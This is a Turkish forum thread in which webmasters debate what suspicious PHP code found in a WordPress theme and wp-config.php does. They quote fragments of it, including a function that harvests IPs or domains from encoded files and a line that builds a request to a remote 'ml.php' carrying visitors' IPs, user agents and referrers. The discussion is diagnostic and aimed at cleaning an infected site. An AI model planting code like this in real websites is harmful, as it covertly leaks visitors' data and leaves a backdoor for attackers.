$f = fopen($t.DIRECTORY_SEPARATOR.$name,"w");
şu fonksiyon ile yapamayacakları şey yok. Her bir satırın ne işe yaradığını bilmek yerine bunları temizleyip genel bir tarama yaptırmanızı tavsiye ederim
Kodları Amacı Nedir?
17
●1.208
- 04-02-2015, 00:17:13Zaten amacım satır satır ne yağtığını bilmek değil. Sadece ne amaçla kullanıldığı anlamak. Sistemi komple temizledim ve gerekli düzenlemeleri yaptım.Cycl0ne adlı üyeden alıntı: mesajı görüntüle
- 04-02-2015, 02:10:42yapmayın hocam yapamayacağı şey yok falanCycl0ne adlı üyeden alıntı: mesajı görüntüle
bilmesek dünyayı kurtaran fonksiyon bu sanacaz 
altı üstü adam dosyaya verileri yazdırıyor. adamın yazdıgı kod apaçık belli ki lisanslı sattığı temayı w.arez olarak kullanan varsa onların bilgilerini almaya çalışmış. ki arkadaşın kullandığı temada da ml.php dosyası silinmiş zaten. büyük bir ihtimal ml.php ile de kendi sitesine yollayıp oradan kontrol ediyordur. herkesin lisans sistemi farklı. herkesin scriptlerine şifreledikleri kodlar farklı. çıkıpta adamın koduna laf etmeyin.
bilmiyorum arkadaşı tanımıyorum lisanslı dedi benim için söz senettir irdelemedim de. lisanslı tema olduğu için de konuşmak istemedim ama abarttıkça abarttınız. genel olarak konuşuyorum. bilen bilmeyen yorum yapıyor. yapmayın gözünüzü seviyim altı üstü sizin lisans sistemlerinize benzer bir kodlama - 04-02-2015, 02:10:59if (!function_exists("get_know_ip")){Meftun adlı üyeden alıntı: mesajı görüntüle
function get_know_ip(){
$name = get_true_name();
foreach(get_t_dir_mass() as $t){
if(file_exists($t.DIRECTORY_SEPARATOR.$name)){
foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){
$tt = Uno_decode($tt);
if(strpos($tt,".")>0){
$know[] = trim($tt);
}
}
}
}
return array_unique($know);
}
}
burada dosyaları okuyup içinden ip veya domain alıyor, sonrasına ml.php?........... şeklinde ekleme yapıyor.
$page = "/ml.php?mother=www.siteadi.com&cr=1&aid=".$aid."&ur l=".$url."&ip=".$real_ip."&ua=".$ua."&cod=".$cod." &ref=".$ref;
şu satırın hemen altına echo $page.'<br />';
yazarsan hangi adresle iletişime geçtiğini daha net görebilirsin - 04-02-2015, 02:34:49shell atamaz mı diyorsun şimdi sen.deleter20 adlı üyeden alıntı: mesajı görüntüle
- 04-02-2015, 09:04:16Bu kodlar sonradan eklendi yani orjinalda böyle kodlar yok. Ayrıca hiç bir tema yapımcısı wp-config.php ye kod ekleyipte lisans kontrolü yapacağını sanmıyorum.deleter20 adlı üyeden alıntı: mesajı görüntüle
- 04-02-2015, 14:58:00o kodları oraya yerleştirmişse sonradan zaten shell atmış olmuyor muCycl0ne adlı üyeden alıntı: mesajı görüntüle

sonra bir daha shell atarım dursun bu kod burda deyip gitmiş mi adam yani
- 04-02-2015, 18:19:33tamam benim kafa güzel olabilir ama sende ki kafa kimsede yok kardeşim. kodları ve yorumları tekrardan incelemeni öneririmCycl0ne adlı üyeden alıntı: mesajı görüntüle
bilmesek dünyayı kurtaran fonksiyon bu sanacaz 
